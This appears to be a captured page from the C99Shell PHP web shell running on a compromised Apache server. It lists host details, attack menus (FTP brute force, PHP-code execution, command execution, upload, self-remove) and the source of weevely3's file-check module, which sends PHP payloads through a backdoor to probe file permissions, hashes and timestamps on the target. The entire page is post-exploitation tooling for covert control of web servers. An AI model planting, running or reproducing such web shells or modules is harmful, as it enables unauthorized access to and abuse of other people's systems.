!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/modules/file/   drwxr-xr-x
Free 13.19 GB of 57.97 GB (22.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     check.py (2.13 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import datetime

from weevely import utils
from weevely.core.module import Module
from weevely.core.vectors import PhpCode


class Check(Module):
    """Get attributes and permissions of a file."""

    def init(self):
        self.register_info({"author": ["Emilio Pinna"], "license": "GPLv3"})

        # Declared here since is used by multiple vectors
        payload_perms = (
            "$f='${rpath}';if(@file_exists($f)){print('e');if(@is_readable($f))print('r');"
            "if(@is_writable($f))print('w');if(@is_executable($f))print('x');}"
        )

        self.register_vectors(
            [
                PhpCode(payload_perms, "exists", postprocess=lambda x: "e" in x),
                PhpCode("print(md5_file('${rpath}'));", "md5"),
                PhpCode(payload_perms, "perms"),
                PhpCode(payload_perms, "readable", postprocess=lambda x: "r" in x),
                PhpCode(payload_perms, "writable", postprocess=lambda x: "w" in x),
                PhpCode(payload_perms, "executable", postprocess=lambda x: "x" in x),
                PhpCode("print(is_file('${rpath}') ? 1 : 0);", "file", postprocess=lambda x: x == "1"),
                PhpCode("print(is_dir('${rpath}') ? 1 : 0);", "dir", postprocess=lambda x: x == "1"),
                PhpCode(
                    "print(filesize('${rpath}'));", "size", postprocess=lambda x: utils.prettify.format_size(int(x))
                ),
                PhpCode("print(filemtime('${rpath}'));", "time", postprocess=lambda x: int(x)),
                PhpCode(
                    "print(filemtime('${rpath}'));",
                    "datetime",
                    postprocess=lambda x: datetime.datetime.fromtimestamp(float(x)).strftime("%Y-%m-%d %H:%M:%S"),
                ),
                PhpCode("print(realpath('${rpath}'));", "abspath"),
            ]
        )

        self.register_arguments(
            [
                {"name": "rpath", "help": "Target path"},
                {"name": "check", "choices": self.vectors.get_names()},
            ]
        )

    def run(self, **kwargs):
        return self.vectors.get_result(name=self.args["check"], format_args=self.args)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--